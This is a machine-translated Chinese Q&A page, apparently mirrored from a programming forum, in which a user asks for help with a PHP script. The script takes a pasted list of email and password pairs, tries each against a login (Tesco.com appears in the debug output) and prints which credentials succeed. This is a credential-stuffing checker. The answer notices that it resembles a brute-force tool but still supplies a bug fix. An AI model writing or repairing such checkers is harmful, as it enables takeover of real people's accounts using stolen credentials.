您好我在使用以下代码检查指定文本的html源代码并返回失败的成功但我总是失败,即使我使用正确的登录继承人我的代码我使用我的卷曲脚本 }
if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
$mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
foreach($mps as $mp){
$mp = explode($_POST['delim'], $mp);
$email = $mp[0];
$password = $mp[1];
$html = checkmail($email, $password);
$doc = new DOMDocument();
@$doc->loadHTML($html);
$nodes = $doc->getElementsByTagName('title');
$title = $nodes->item(0)->nodeValue;
if($title == "Sorry, but we couldn't sign you in"){
echo "<br />FAILED - Email: $email - Password: $password";
}else{
echo "<br />SUCCESS - Email: $email - Password: $password";
}
}
}
?>
object(DOMElement)#3(18){[“tagName”] =&gt; string(5)“title”[“schemaTypeInfo”] =&gt; NULL [“nodeName”] =&gt; string(5)“title”[“nodeValue”] =&gt; string(9)“Tesco.com”[“nodeType”] =&gt; int(1)[“parentNode”] =&gt; string(22)“(省略对象值)”[“childNodes”] =&gt; string(22)“(省略对象值)”[“firstChild”] =&gt; string(22)“(省略对象值)”[“lastChild”] =&gt; string(22)“(省略对象值)”[“previousSibling”] =&gt; string(22)“(省略对象值)”[“nextSibling”] =&gt; string(22)“(省略对象值)”[“attributes”] =&gt; string(22)“(省略对象值)”[“ownerDocument”] =&gt; string(22)“(省略对象值)”[“namespaceURI”] =&gt; NULL [“prefix”] =&gt; string(0)“”[“localName”] =&gt; string(5)“title”[“baseURI”] =&gt; NULL [“textContent”] =&gt; string(9)“Tesco.com”} NULL
答案 0 :(得分:0)
为什么它看起来像某种蛮力剧本?无论如何,我想这个问题在于$title-main
是未声明的。
在
if($title-main == "Sorry, but we couldn't sign you in"){
你应该这样做:
if($title == "Sorry, but we couldn't sign you in"){